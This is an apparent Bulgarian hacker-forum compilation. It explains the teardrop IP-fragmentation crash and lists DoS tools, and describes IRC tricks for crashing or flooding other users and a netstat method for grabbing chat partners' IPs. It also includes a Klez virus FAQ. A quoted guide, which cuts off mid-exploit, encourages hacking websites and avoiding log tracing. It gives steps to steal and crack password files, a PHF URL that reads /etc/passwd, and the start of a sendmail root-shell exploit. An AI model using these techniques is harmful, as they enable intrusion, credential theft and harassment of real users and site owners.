дейтаграма, се стартира цикъл за копиране на всички полезни фрагменти от получената дейтаграма в буфера.&lt;br /&gt;От файла ip_fragment.c@376:&lt;br /&gt;fp = qp-&gt;fragments; // указател на списъка на получените пакети&lt;br /&gt;while(fp != NULL) // докато не са събрани всички нужни пакети&lt;br /&gt;{&lt;br /&gt;if(count+fp-&gt;len &gt; skb-&gt;len) //ако дължината на фрагмента е твърде&lt;br /&gt;{ // голяма, то той се отхвърля&lt;br /&gt;error_to_big; // за да не копира ядрото твърде&lt;br /&gt;} // много данни&lt;br /&gt;memcpy((ptr + fp-&gt;offset), fp-&gt;ptr, fp-&gt;len);&lt;br /&gt;count += fp-&gt;len;&lt;br /&gt;fp = fp-&gt;next;&lt;br /&gt;}&lt;br /&gt;  Както е видно тук не се осъществява проверка за твърде марка дължина на фрагмента, която също заставя ядрото да копира голям обем данни (в случай, че fp-&gt;len по-малко от 0).&lt;br /&gt;  За да узнаете кога това става, погледнете точките на добавяне в дейтаграмата по реда на обработка на сбора.&lt;br /&gt;  От файла ip_fragment.c@502:&lt;br /&gt;// определяме позицията на фрагмента&lt;br /&gt;end = offset + ntohs(iph-&gt;tot_len) - ihl;&lt;br /&gt;  И какво се получава, когато ние прекроим фрагмента :&lt;br /&gt;  От файла ip_fragment.c@531:&lt;br /&gt;//Ние намерихме мястото, където да положим този фрагмент.&lt;br /&gt;// Проверка на сравняване с предшестващия фрагмент,&lt;br /&gt;// и, ако трябва, изравняваме, така че да се отстрани препокриването.&lt;br /&gt;if (prev != NULL &amp;&amp; offset &lt; prev-&gt;end)&lt;br /&gt;{&lt;br /&gt;i = prev-&gt;end - offset;&lt;br /&gt;offset += i; /* указател на дейтаграмата */&lt;br /&gt;ptr += i; /* указател на фрагмента */&lt;br /&gt;}&lt;br /&gt;  Ако открием, че текущото заместване на фрагмента е по-малко от края на предишния фрагмент (при сравнение), ни е необходимо да се опитаме да установим покриването. Всичко е ОК, ако съдържанието на текущия фрагмент съдържа достатъчно количество данни, за да превишава припокриването. В противен случай при смесването offset ще бъде по-голямо от end. Тези две значения се предават на функцията ip_frag_create(), в която се изчислява дължината на фрагмента (данните). &lt;br /&gt;  От файла ip_fragment.c@97:&lt;br /&gt;//Запълваме структурата&lt;br /&gt;fp-&gt;offset = offset;&lt;br /&gt;fp-&gt;end = end;&lt;br /&gt;fp-&gt;len = end - offset;&lt;br /&gt;  Това довежда към отрицателно значение на fp-&gt;len и функцията memcpy(), преведена по-нагоре ще грохне опитвайки се да копира твърде много данни, ще се пренатовари или увисне в зависимост от количеството.&lt;br /&gt;  Ние можем да провокираме такова нестандартно поведение по пътя на изпращане на две специално фрагментирани IP дейтаграми. Първата има нулево смесване на фрагмента с полезни данни и размер N, с установени MF битове &quot;фрагментиран пакет&quot; (съдържанието на данните не е важно). Вторият пакет се явява с последен флаг (MF равен на 0) с положително смесване по-малко от N и с данни по-малко от N.&lt;br /&gt;  Пример: две дейтаграми с размер 28 и 6 байта.&lt;br /&gt;prev-&gt;end= 28 // дължина на първата&lt;br /&gt;offset = 6; // смесване на втората&lt;br /&gt;iph-&gt;tot_len = 6; // размер на данните на втората&lt;br /&gt;end = offset + ntohs(iph-&gt;tot_len) - ihl; // end = 12&lt;br /&gt;// проверка при налагането&lt;br /&gt;if (prev != NULL &amp;&amp; offset &lt; prev-&gt;end)&lt;br /&gt;{&lt;br /&gt;i = prev-&gt;end - offset;&lt;br /&gt;offset += i; /* указател на дейтаграмата */&lt;br /&gt;ptr += i; /* указател на фрагмента */&lt;br /&gt;}&lt;br /&gt;// тук вече offset = 28, а end = 12 =&gt; ето и отрицателния резултат&lt;br /&gt;bonk &lt;br /&gt;Crashes *patched* win(OSR2)/NT 4.0 machines.&lt;br /&gt;  Използва открития UDP порт 55, който като правило е отворен на машините с установен IE. &lt;br /&gt;  Два щателно преработени IP пакета при сбор дават неправилна UDP дейтаграма. Налагането на смесването води до това, че във вторият пакет се презаписва по средата заглавката на първия по такъв начин, че дейтаграмата остава незавършена, паметта не се освобождава и в края на краищата се изчерпва. Windows NT отделя част от ядрото на паметта за съхранение на тези дейтаграми и може да зависне от съобщение STOP 0x0000000A след обработка на достатъчно повредени UDP пакети.&lt;br /&gt;Майкрософт пуска не достатъчно изряден пач, който не напълно оправя тази грешка. Разплата за небрежността става нощта между 2 и 3 март 1998г., когато неизвестен злоумишленик изведе от строя хиляди Windows-машини в САЩ именно с такава атака. Сред пострадалите се оказаха и NASA и Масачузетския технологичен университет.&lt;br /&gt;&lt;br /&gt;Newtear Модифицирана версия на teardrop&#39;a&lt;br /&gt;&lt;br /&gt;Affects patched NT4, and Win.&lt;br /&gt;&lt;br /&gt;Основаваща се на същия принцип като TearDrop, newtear се явява нейно логично продължение: намалена е само реалната дължина на пакета, при което е увеличена логическата дължина (UDP).&lt;br /&gt;syndrop доразработена за работа с TCP, в комбинация с SYN flood&lt;br /&gt;&lt;br /&gt;boink&lt;br /&gt;&lt;br /&gt;Концептуално по нищо не се отличава от bonk, просто се използват други портове. В програмата е добавена възможност за избор на диапазон на портове за bonk атака.&lt;br /&gt;&lt;br /&gt;Fraggle&lt;br /&gt;&lt;br /&gt;heavy flood of victims&lt;br /&gt;&lt;br /&gt;  продължението на идеята на smurf, довежда до образуването на прекалено голям трафик на жертвата, използвайки UDP протокол и 7 UDP порт (echo).&lt;br /&gt;&lt;br /&gt;Nestea&lt;br /&gt;&lt;br /&gt;Crashes linux 2.0.* and 2.1.* and some windows boxes&lt;br /&gt;&lt;br /&gt;  Използва лека модификация на идеята на teardrop&#39;a за фрагментация на пакети при атака към открит UDP port: изпращане на три фрагментиране пакети.&lt;br /&gt;&lt;br /&gt;Nestea2&lt;br /&gt;&lt;br /&gt;  Атаката е аналогична с nestea.c, само че са добавени опции за сканиране на подмрежа клас С.&lt;br /&gt;&lt;br /&gt;Targa&lt;br /&gt;&lt;br /&gt;Комбинира осем атаки в една:&lt;br /&gt;bonk / jolt / land / nestea / newtear / syndrop&lt;br /&gt;&lt;br /&gt;Фокуси с контактната листа (ICQ)&lt;br /&gt;&lt;br /&gt;Уверен съм, че много от вас са се сблъсквали с такъв проблем като преинсталиране на ICQ. И също така съм уверен, че най-главната болка е да си възобновим сонтактната листа. Има такива моменти, когато преинсталирането на ICQ или смяната на UID е просто необходима. В това е и целта на тази статия, да ви избави от идиотизма на ръка да си прписвате всичките номера на вашите приятели.&lt;br /&gt;  И така, да разграничим няколко момента:&lt;br /&gt;  1.0 Възможно е самият Windows да е забил и от там да се налага преинсталиране на програмата. Мнозинството от вос просто биха премахнали папката C:\Progrsm Files\ICQ и отново инсталират програмата, след което регистрират предишния си номер и готово; но това не възстановява контактния лист. Какво може да се направи в този случай? Необходимо ви е да съхраните само една папка в зависимост от версията на ICQ (за ICQ98 - Db, за ICQ99а - newDB, за ICQ99b - Db99b - вел.ред. за по-новите версии такива маневри по принцип не се нала, ако директно каците върху старата инсталация по-нова версия, ако инсталирате същата, то тогава търсете папка, окончаваща на db). След като вече наново сте инсталирали ICQ и сте регистрирали своя предишен номер, изключете ICQ-то и просто заменете папките, за които говорехме по-горе и отново включете. О, чудо! Отново имате контактния лист  &lt;br /&gt;  1.1 Да допуснем, че вашия мързел довежда до повторна регистрация или в настоящия момент нямате достъп до Интернет, а сте имали съобщения с паролата и логина за Интернет, а ICQ-то не трябва да се регистрира. А трябва да видим съобщението! Какво да направим? В този случай може да помогне програмата isoaqptr, ако не можете разбира се да ползвате регистър. В нея има специална функция, с която ние можем без проблем да въведем предишния си UIN в регистъра. Затова въведете в малкия прозорец своя стар номер и натиснете бутона на който пише: &quot;Add this UID to the Registry&quot;. И това е всичко. Сега отново може да замените папката Db с вашата стара и всичко ще е ОК.&lt;br /&gt;  Трябва да отбележим, че може да копирате и други папки, като например: Received Files и Bookmark. Случват се такива моменти, в които просто регистрирате нов UIN. Причините могат да бъдат различни: откраднали са ви номера, опръзнало ви е да ви спамват или просто вие сте спамвали и от mirabilis просто са отделили вашия номер от базата си. Тогава и започва проблема.&lt;br /&gt;  2.0 При случай, когато просто е било необходимо да смените своя номер, а не по причина на кражба или отстраняване от базата данни, ще ви се наложи да ползвате програмата isoaqptr. Затова отидете в регистъра и натиснете бутона &quot;Allow multiInstances&quot; след което пуснете едновременно два пъти ICQ-то. Следващите ви действия са такива. Едното трябва да работи със стария ви номер, а другото с новия, естествено. В старото въведете в контакт листата вашия нов номер. След което към него на неголеми партиди използвайки функцията &quot;Contacts&quot;, изпращате своя контакт лист. За всичко ще са ви нужни не повече от пет минути. Затова пък на новото ICQ няма да ви се наложи да чакате докато старите ви приятели ви дадат оторизация.&lt;br /&gt;  2.1 Е, сега имаме такъв случай, че вашето ICQ или са го откраднали или от mirabilis са ви шатнали. Остава ви да регистрирате нов номер и да чакате кога вашите приятели ще ви се обадят. Но това чакане едва ли ще ви доведе до резултат! Е, като че ли друг изход няма! Не, все пак има! Наистина той не е много прост и трябва много внимателно да се подходи. Започваме подред.&lt;br /&gt;  И така, най напред копирайте вашата Db папка два пъти, ще ви потрябва в случай, че нещо сгафите. Едното копие ще бъде оригиналното, а с двете други ще работите. Да допуснем, че вашия номер е бил 56478219, станал е гафът и сте си регистрирали номер67654321.&lt;br /&gt;  Да предположим, че имате ICQ99а или ICQ99b (за остонолите е аналогично, но трябва малко да се помисли). В нашата Db папка ще се намират следните файлове:&lt;br /&gt;56478219.dat&lt;br /&gt;56478219.idx&lt;br /&gt;56478219.msg&lt;br /&gt;56478219tmp.dat&lt;br /&gt;56478219tmp.idx&lt;br /&gt;това е за старото ICQ &lt;br /&gt;7654321.dat&lt;br /&gt;67654321.idx&lt;br /&gt;67654321.msg&lt;br /&gt;67654321tmp.dat&lt;br /&gt;67654321tmp.idx&lt;br /&gt;и за новото ICQ&lt;br /&gt;&lt;br /&gt;  За да възстановим стария контакт лист и всички съобщения ще ни трябва само файл56478219.dat!&lt;br /&gt;  Още един път повтарям направете копие на вашата Db папка.&lt;br /&gt;  Сигурно мнго от вас вече са се опитвали просто да преименуват файла, да му придадат номера на новия UIN, но нищо не е станало. Да, няма така да ви се отдаде да пуснете ICQ с преименования файл  Ще изскочи аплет на който пише, че вашата база е повредена. Причината е в това, че в този файл има запис 16-тичен код, че вошият номер е ICQ 56478219, а не 67654321 и при несъвпадение изскача аплета. В това е и проблемът. Следва изводът, че трябва да се измени кода. Затова се възползваме от инжинерния калкулатор, който се намира в Windows. Въвеждаме номера 56478219 в десетичен режим и го превеждаме в 16-тичен режим (Нех). Получава се следното изражение: 35DCA0B. Няма да навлизаме в подробности защо и как, трябва да намерите рад във вашия файл с фрагмент&quot;0B CA 5D 03&quot;. Тоест след като вече сте превели в 16-тична система изчисленията ви е необходимо да разбиете изражението по два знака и да ги напишете в обратен порядък. В този случай ако се е получило изражение с нечетно количество знаци, то в самото начало добавете 0. Пример: Uin: 65761812; значението на калкулатора е: 3EB7214; добавяме 0 и разбиваме по двойки: 03 EB 72 14; пишем в обратен ред: 14 72 EB 03.&lt;br /&gt;Сега правим същото и с новия UIN. Той беше 67654321. Превеждаме го в 16-тичен код, разбиваме по двойки, преписваме в обратен порядък и се получава: B1 52 08 04. После взимате кои и да е дизасемблер и отваряме нашия файл 56478219.dat, търсим фрагмента 0B CA 5D 03 и го заменяме с B1 52 08 04. Такива фрагменти има 3-4. Всички преправете и съхранете измененията. После придайте на преправиния файл със стария UIN името на новия. Тоест отстранете в копираната папка Db всички файлове, причастни към новия UIN и применувайте файла така, че при него в названието да бъде UIN&#39; на новото ICQ. Надявам се, че разбрахте. После преместете преименувания файл в главната папка Db, предварително отстранете от нея файловете отнасящи се до новия UIN и стартирайте ICQ. Ако сте направили всичко правилно, то при стартирането на новия UIN ще бъде целият ваш контактен лист. И така да повторим казаното до тук:&lt;br /&gt;  Правим две копия на Db папката.&lt;br /&gt;  Превеждаме двата си UIN&#39;а в 16-тичен код.&lt;br /&gt;  1. Преправяме с дизасемблера вътрешния код на dat файла отговарящ на стария номер, след което го преименуваме така все едно той се отнася за новия UIN. &lt;br /&gt;  2. Копираме преправения файл в главната папка.&lt;br /&gt;  3. Стартираме ICQ.&lt;br /&gt;  Надяваме се че всичко беше достатъчно просто обяснено  &lt;br /&gt;IRC&lt;br /&gt;&lt;br /&gt;Ще разгледам един случай в IRC. Ще слагам # при коментарите ми. И така:&lt;br /&gt;&lt;goshko&gt;ping me &lt;br /&gt;&lt;onzi&gt;/ctcp goshko ping &lt;br /&gt;  # нищо не става /затворен 7-ми port/…&lt;br /&gt;&lt;onzi&gt; i kakvo kato si zatvovil 7-mi port???&lt;br /&gt;  # след малко goshko почва да ми проверява version, time, ping… почва да ме дразни…&lt;br /&gt;&lt;onzi&gt; spri se be momche!&lt;br /&gt;  # продължава…&lt;br /&gt;&lt;onzi&gt;/ctcp goshko +++ATH0 &lt;br /&gt;&lt;goshko&gt; he he toia bug go nema veche!!! &lt;br /&gt;&lt;onzi&gt;kakav ti e irc clieta??? &lt;br /&gt;&lt;goshko&gt;pirc &lt;br /&gt;  #охо...сега ще умре  &lt;br /&gt;&lt;onzi&gt;/nick com1 &lt;br /&gt;&lt;com1&gt;/msg goshko hi! &lt;br /&gt;goshko quit from chanel (connection reset by peer) &lt;br /&gt;  #след 20 секунди влиза &lt;br /&gt;&lt;goshko&gt;kvo stana be???? &lt;br /&gt;&lt;onzi&gt;niamam ideia...&lt;br /&gt;  # повтарям процедурата и ефектът е същия - клиентът му забива. Някои по-стари IRC имат bug - като се появи nick com1, com2…lpt, etc съобщението се праща директно към port&#39;a и той блокира при отговор… Ако към com&#39;а е вързана мишката, тя блокира, ако е модема - disconnect&#39;ва се, ако е принтер - спира да работи… Толкова за това.&lt;br /&gt;  Случвало ли ви се е в IRC някой да ви дразни и да нямате правата или възможността да го kick&#39;нете???… Спокойно има начин да го изкарате. Отворете някой *.txt file /около 15-20К/, следва copy, paste нa private /не се притеснявайте ако ви disconnect&#39;не от server&#39;а - това е нормално, просто се connect&#39;вате веднага и пак paste…/. След 4-5 такива упражнения въпросната персона ще загине…&lt;br /&gt;  Някои хитреци си настройват irc клиента да праща съобщения при ignore на всеки получен message. Да речем, че сте ignore&#39;нали goshko… на всяка негова реплика към вас вие му пращате съобщение, че е ignore&#39;нат /съобщението е между 30-80b/. DoS атаки!!! почнете да му пращате &quot;.&quot; /точка --&gt;enter, точка --&gt;enter… etc/ значи на всеки пратени от вас 2b той изпраща 10-20 пъти повече… това си е жив flood и може сериозно да го затормозите.&lt;br /&gt;&lt;br /&gt;Netstat&lt;br /&gt;&lt;br /&gt;Използването на netstat-а:&lt;br /&gt;за да използвате netstat-а трябва да отворите DOS prompt-а (Start-&gt;Programs-&gt;MS-DOS Prompt). Netstat е много полезно приложение. Често се използва за да вземете IP-то на някой с когото си чатите. Може да погледате и собствените си портове за да видите стават ли някакви мизерии там.... Значи ето ви едно примерче.... отваряме dos prompt-а и пишем netstat:&lt;br /&gt;C:\WINDOWS&gt;netstat&lt;br /&gt;Active Connections&lt;br /&gt;Proto Local Address Foreign Address State&lt;br /&gt;TCP w9i2t4:1131 i.dirbg.com:80 TIME_WAIT&lt;br /&gt;TCP w9i2t4:1136 ads.dir.bg:80 TIME_WAIT&lt;br /&gt;TCP w9i2t4:1138 i.dirbg.com:80 TIME_WAIT&lt;br /&gt;TCP w9i2t4:1139 ads.dir.bg:80 TIME_WAIT&lt;br /&gt;TCP w9i2t4:1143 205.188.2.9:5190 ESTABLISHED&lt;br /&gt;  Погледнете примера. Това Proto показва какъв протокол се използва. След него е Local Address. Там виждате локалния IP/името на хоста : отворения порт. След това е Foreign Address - оня с който си комуникирате в момента, неговия IP/име на хоста и порта, през който се осъществява връзката. В случая осъществяваме връзка към dir.bg през порт 80 (HTTP). Най-накрая е State, което показва състоянието на връзката. Това беше основното, сега ще се задълбочим малко.&lt;br /&gt;  Намиране на отворени портове:&lt;br /&gt;ако сте забелязали нещо странно в поведението на вашия компютър напоследък и искате да проверите дали някой не галопира в PC-то ви. Ето как можете да засечете евентуален троянски кон. Отваряме dos prompt-а и пишем:&lt;br /&gt;C:\WINDOWS&gt;netstat ? (искаме малко повече информация за netstat-а)&lt;br /&gt;показва протоколите и настоящите TCP/IP връзки&lt;br /&gt;NETSTAT [-a][-e] [-n] [-s] [-p proto] [-r] [interval]&lt;br /&gt;  -a показва всички връзки и портове&lt;br /&gt;  -e показва Ethernet статистиките, може да се комбинира със -s&lt;br /&gt;  -n показва адреса и номера на порта&lt;br /&gt;  -p porto показва протоколите, които може да са TCP или UDP. Ако се използва със -s протоколите могат да са TCP, UDP или IP&lt;br /&gt;  -r какво ли пък е тфа?&lt;br /&gt;  -s показва статистиката на даден протокол. По принцип статистика се показва за TCP, UDP и IP.&lt;br /&gt;interval подновява показаното (refresh), спира се с Ctrl + C&lt;br /&gt;  Най-добре е да използвате C:\Windows\netstat -an, което показва всички връзки и отворени портове. Това е все едно пишем netstat -a-n, само че си спестяваме едно тире :&gt; Ако знаете портовете използвани от троянци търсите такива. Ако не ги знаете отивате на адрес http://free.bol.bg/bgxak/trojan_ports.txt, дърпате го тоя списък и там са дадени портовете на повечето троянци. Ако имате такъв отворен порт значи някой пасе у вас!&lt;br /&gt;Искате ли да видите на някой IP-то, който е в ICQ? Ето как става най-лесно:&lt;br /&gt;преди да започнете да си говорите с оня дето от другата страна на ICQ-то отидете в dos prompt-а и напишете netstat -n за да ви бъдат изведени всички IP-та, с които имате връзка в момента. Запишете си ги някъде. Сега изпратете някакво съобщение до оня с който си чатите и бързо напишете в dos prompt-а netstat -n. И вече трябва да имате добавено ново IP в листата. Намирате кое е то и това е неговото IP.&lt;br /&gt;  За какво друго се използва:&lt;br /&gt;можете да вземете IP на всичко, с което имате връзка в момента (директни съобщения, трансфер на файлове, чат по ICQ, AIM, DCC, IRC и къде ли още не.....!). Можете да сканирате взетото IP с някой порт скенер за отворени портове. А като намерите такива вече темата става за друга статия.&lt;br /&gt;Ами това е май.... е наистина има много направени инструменти за взимане на IP-та от ICQ, IRC и т.н., но е много добре ако се научите да го правите ръчно! Без помощта на някакви &quot;хакерски&quot; програмки. Така ще разберете по-добре структурата на нета, ще ви зареди с нови идеи и ще пребори мързела у вас!&lt;br /&gt;oho-boho&lt;br /&gt;FAQ&lt;br /&gt;Вируси&lt;br /&gt;&lt;br /&gt;? Намерих това Klez.E в inbox&#39;а си. Широко разпространен вирус ли е или…?&lt;br /&gt;• Вероятно става въпрос за Win32/Klez.E, макар че да се направи точна диагноза само по това описание не е най-правилния начин… Ако става въпрос за Klez.E, тогава отговорът е - да, широко разпространен е.&lt;br /&gt;Win32/Klez.E е вирус &quot;измама&quot;. Той често изпраща съобщение, като: &quot;My previous message was infecetd with a virus -- please run the attached program to clean your machine&quot;. Нещо, което ако направите, със сигурност ще се заразите с вирус.&lt;br /&gt;&lt;br /&gt;? В действителност заглавието на съобщението показва, че то не идва от нашия собствен сървър. Води началото си от кабелния модем на user&#39;ската машина и е доставено по кабелен ISP mail сървър (те блокират директния достъп на user&#39;ите до порт 25). Адресът на e-mail&#39;а е в Return-Path (!), но х&#39;ът е като неговия IP адрес.&lt;br /&gt;• Този вирус не прави опит за &quot;порядъчна&quot; подмяна на битовете в заглавката на съобщението. Това би било безсмислено, тъй като винаги се стартира от обикновена user&#39;ска машина с проста dial-up или cable/DSL връзка. Ако се опита да е толкова &quot;хитър&quot; в тази ситуация, може да се обзаложим, че mail wizards би могъл да сътвори procmail филтър за откриване на неговите фалшификации…&lt;br /&gt;О, и не вярвайте на редовете отбелязнащи user&#39;ското ID на върнатите съобщения. Това, разбира се, е доставено от вируса и може да бъде всеки един адрес, така както и вашият адрес може да бъде намерен и избран като мишена за адререс на такъв вид съобщения (като казвам вашия адрес, имам пред вид адрес от вида info@, той може да бъде на същото място в друго съобщение изпратен от тази машина). ISP&#39;тата наистина трябва да помислят по въпроса: да пренапишат header&#39;ите или да прибавят X- header, който да осигурява повече идентификационна информация. Например, ако съобщение е поставено от dial-up/cable/DSL user, то ISP&#39;то трябва да може лесно да свърже информацията за собственика на account и IP&#39;то като редовна форма от accounts и e-mail адреси, но не му е мястото тук да обсъждаме тази тема…&lt;br /&gt;Все повече вируси събират адреси на жертвите си от Temporary Internet Files папка и/или от някакви HTML файлове, които те могат да намерят на машината. Подозирам, че създателите на вируси са наясно с нарастващия брой Outlook инсталации с пачовете и версиите, които пречат за редовен достъп до адресната книга и разбира се фактът, че относително малко home user&#39;и имат Outlook. Тъй като home user&#39;ите са тези, които осигуряват по-голяма сфера на self mailer&#39;ите да се разпространяват, това подсказва на създателите, че нещата трябва да се променят, за да работят по-оптимално в средата, в която виреят.&lt;br /&gt;&lt;br /&gt;? Добре, това го разбрах. В съобщението се казва &quot;The attachment is the original mail&quot;. Сигурно е така. Атачмънът е 81088 байта W32 изпълним, наречен href.exe.&lt;br /&gt;• Това разбира се е силна улика, че съобщението е Klez... вирус.&lt;br /&gt;&lt;br /&gt;? Стритгът показва, че е написан на MSVC++ и открива също следното:&lt;br /&gt;QUIT&lt;br /&gt;DATA&lt;br /&gt;HELO %s&lt;br /&gt;MAIL FROM: &lt;&lt;br /&gt;RCPT TO:&lt;&lt;br /&gt;• И това. Почти всички &quot;тревожни&quot; стрингове в Klez (включително и тези, които издават съобщението, което получи) са шифровани в ЕХЕ и се разшифроват, когато вирусът се стартира. Тези няколко SMTP команди са единствения видим стринг в ЕХЕ отделно от обикновените неща генериране от компилатори като API, РЕ и др.&lt;br /&gt;&lt;br /&gt;? Излиза, че да имаш SMTP клиент означава зло?&lt;br /&gt;• Да, определено  &lt;br /&gt;&lt;br /&gt;? Това добре! Но има някои неща, които не разбирам тук. Не прилича на това ехе, което е поставено на горния mail. Не мога да намеря никакъв съответен стринг, например там няма &quot;postmaster&quot;, &quot;subject&quot; или &quot;attachment&quot;.&lt;br /&gt;• Грешен инструмент. Трябва ти дизасемблер и/или debugger…&lt;br /&gt;&lt;br /&gt;? Атачмънтът, като такъв е ясно, че е злонамерен, но той не е вектор. Или има два различни вектора или каква?&lt;br /&gt;• Първото ти твърдение е вярно, но второто - не. Атъчмънтът е корие на вектора.&lt;br /&gt;&lt;br /&gt;? Също има X-Mailer в mail header&#39;а, което одначава, че не е изпратен от Outlook или някой друг известен mail клиент, а вероятно от самия вирус?&lt;br /&gt;• Много правилно.&lt;br /&gt;&lt;br /&gt;? …Тагава какво прави &quot;return path&#39;ът&quot; тук? E-mail&#39;ът е на HTML и е MIME-кодиран. Изглежда, че ще има доста трудности вирусът, който се опитва чрез &quot;социална инженерия&quot; да те накара да кликнеш на атачмънта?&lt;br /&gt;• Да, но IIRC също използва един от autodetach-and-run експлоитите, които се отнасят за различните версии IE, което обеснява защо има HTML… Ако то пристигне на не уязвима машина, все още има шанс да се стартира, чрез успеха на проведената социална инженерия.&lt;br /&gt;Тук е момента да се запитаме за какво са добрите скенери за вируси? Те могат да ви покажат името, фамилията и варианта на вирус и след това, ако е от познатите, може лесно да се намери описанието му в AV търговски web сайтове.&lt;br /&gt;&lt;br /&gt;? Заразен съм с W32.Klez.E@mm вирус. Следвах внимателно инструкциите по отстраняването, но не работи коректно. Вирусът все още се появява от време на време…&lt;br /&gt;• Това би могло да бъде защото машината има open shares или share, на който друга станция или user има достъп. Колкото дълго този дял е отворен и имате заразена машина във вашата мрежа, толкова дълго тази станция ще заразява сървъра с open shares отново и отново. Под заразяване отново се разбира опит да се копира на този отворен дял заразения файл (най-вероятоно сървърът няма да стане активно заразен, при положение, че ивате антивирусна програма).&lt;br /&gt;Трябва да намерите компютъра или компютрите, които се опитват да заразят отново другите машини в мрежата.&lt;br /&gt;Лесният начин да го направите е да стартирате Object Access Auditing на машината, която сте открили, че продължава да бъде инфектирана.&lt;br /&gt;&lt;br /&gt;  Успех!&lt;br /&gt;freaker&lt;br /&gt;Oct 4 2005, 04:38 PM&lt;br /&gt;Мисля че това ще ви се стори интересно:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;QUOTE&lt;br /&gt;Хак на web site&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    E добре гадини! Май много искате да хакнете некой уеб пейдж, а?! Сега ще ви покажем как да стане тоя номер. Не е зле да се поровите из нет-а за други такива материали (можете да научите нещо все пак!!!). Ето сега...&lt;br /&gt;    Преди всичко трябва да се ПАЗИТЕ АДСКИ МНОГО защото ако хакнете нещо голямо оттам могат лесно да проверят log файловете да видят адреса Ви и да Ви дойдат на гости  АКО това Ви се стори доста сложно минете по-надолу, все ще се намери някакъв начин за хакване, а може и на Вас да Ви дойде идеята. Все пак и сложните неща са направени от прости ))))&lt;br /&gt;&lt;br /&gt;    oВзимане на парола през FTP&lt;br /&gt;&lt;br /&gt;    Един от най-лесните начини да направите това е през аnonymous ftp вход в дадена стрница. Сега... трябва малко да научите&lt;br /&gt;password файла. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;root:User:d7Bdg:1n2HG2:1127:20:Superuser&lt;br /&gt;IvanIvanov:p5Y(h0tiC:1229:20:Ivan Ivanov,:/usr/people/ivanivanov:/bin/csh&lt;br /&gt;RalicaPetrova:EUyd5XAAtv2dA:1129:20:Billy Bob:/usr/people/rpetrova:/bin/csh&lt;br /&gt;&lt;br /&gt;    Това е пример за един редовен password файл. Superuser - ът е частта която Ви дава root права. Това е същинската част на файла.&lt;br /&gt;&lt;br /&gt;root:x:0:1:Superuser:/:&lt;br /&gt;ftp:x:202:102:Anonymous ftp:/u1/ftp:&lt;br /&gt;ftpadmin:x:203:102:ftp Administrator:/u1/ftp&lt;br /&gt;&lt;br /&gt;    Това е още един пример на password файл, но има само малко различие, той е shadowed (затъмнен, засенчен, прикрит...).&lt;br /&gt;Тези shadowed password файлове не позволяват да се види или да се копира истинската криптирана парола. Ето това вече създава&lt;br /&gt;проблеми на кракера на пароли и diction maker - а. Отдолу има още един пример за shadowed password файл:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;root:x:0:1:0000-Admin(0000):/:/usr/bin/csh&lt;br /&gt;daemon:x:1:1:0000-Admin(0000):/:&lt;br /&gt;bin:x:2:2:0000-Admin(0000):/usr/bin:&lt;br /&gt;sys:x:3:3:0000-Admin(0000):/:&lt;br /&gt;adm:x:4:4:0000-Admin(0000):/var/adm:&lt;br /&gt;lp:x:71:8:0000-lp(0000):/usr/spool/lp:&lt;br /&gt;smtp:x:0:0:mail daemon user:/:&lt;br /&gt;uucp:x:5:5:0000-uucp(0000):/usr/lib/uucp:&lt;br /&gt;nuucp:x:9:9:0000-uucp(0000):/var/spool/uucppublic:/usr/lib/uucp/uucico&lt;br /&gt;listen:x:37:4:Network Admin:/usr/net/nls:&lt;br /&gt;nobody:x:60001:60001:uid no body:/:&lt;br /&gt;noaccess:x:60002:60002:uid no access:/:&lt;br /&gt;webmastr:x:53:53:WWW Admin:/export/home/webmastr:/usr/bin/csh&lt;br /&gt;pin4geo:x:55:55:PinPaper Admin:/export/home/webmastr/new/gregY/test/pin4geo:/bin/&lt;br /&gt;false&lt;br /&gt;ftp:x:54:54:Anonymous FTP:/export/home/anon_ftp:/bin/false&lt;br /&gt;&lt;br /&gt;    Затъмнените password файлове имат &quot;х&quot; на мястото на паролата. Сега ще си поговорим как да я кракнем.&lt;br /&gt;Кракаването не е толкова сложно както изглежда, въпреки че файловете се променят от система към система. &lt;br /&gt;1. Първото е да копирате или да си свалите файла.&lt;br /&gt;2. След това трябва да намерите някой добър кракер или dictionary maker, но е много трудно! Има там некфи ама те са малко...&lt;br /&gt;Малко са добритееее в бранша. Препоръчваме да потърсите Cracker Jack, John the Ripper, Brute Force Cracker или Jack the &lt;br /&gt;Ripper. Сега за dictionary maker или &quot;речников файл&quot;... Когато стартирате крак програмата ще бъдете попитан за thepassword файла.&lt;br /&gt;И ето сега за какво ни е dictionary maker - а. Какво всъщност е той? Това представлява програма, която комбинира всички &lt;br /&gt;възможни комбанации с букви (ASCII, главни букви, малки букви, могат да се добавят и цифри). Такава програма можете да си&lt;br /&gt;намерите навсякъде. Отидете в astalavista.com... а и при нас има такива програмки. След като вече разполагате с такава &lt;br /&gt;следвайте инструкциите на програмата.&lt;br /&gt;&lt;br /&gt;    oPНF Техника&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    Това е един страхотен бъг, но повечето сървъри вече го усетиха и го остраниха. Това е най-простият начин за взимане на &lt;br /&gt;парола, но става само в 95% от случаите, кофти... Единственото което трябва да направите е да си отворите browser - чето и &lt;br /&gt;в полето където трябва да въведете адреса пишете:&lt;br /&gt;&lt;br /&gt;http://nekav_web_site/cgi-bin/phf?Qalias=x...t%20/etc/passwd&lt;br /&gt;&lt;br /&gt;Например ако желаният сайт е mailpd.com в полето пишете:&lt;br /&gt;&lt;br /&gt;http://www.mailpd.com/cgi-bin/phf?Qalias=x...t%20/etc/passwd&lt;br /&gt;&lt;br /&gt;    Така си сваляте password файла и си го краквате.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    TELNET и експлойти&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    Ами експлоитите (exploits) са най-добрия начин да хакнете уеб сайт, но са толкова сложни както проникването през FTP. &lt;br /&gt;За да започнете с експлойта трябва да разполагате с telnet клиент. Това става пак като го намерите в мрежата. Търсете...&lt;br /&gt;Най-добре е да си вземете account с името на сайта, който искате да хакнете. Експлойтите разкриват бъговете и грешките на &lt;br /&gt;дадена система и Ви позволяват да придобиете root права. &lt;br /&gt;    Има адски много експлойти за такава работа и пак трябва да се поровите малко... Ето Ви тука един известен като sendmail. &lt;br /&gt;Всичко се прави през telnet:&lt;br /&gt;&lt;br /&gt;cat &lt;&lt; _EOF_ &gt;/tmp/x.c&lt;br /&gt;#define RUN &quot;/bin/ksh&quot;&lt;br 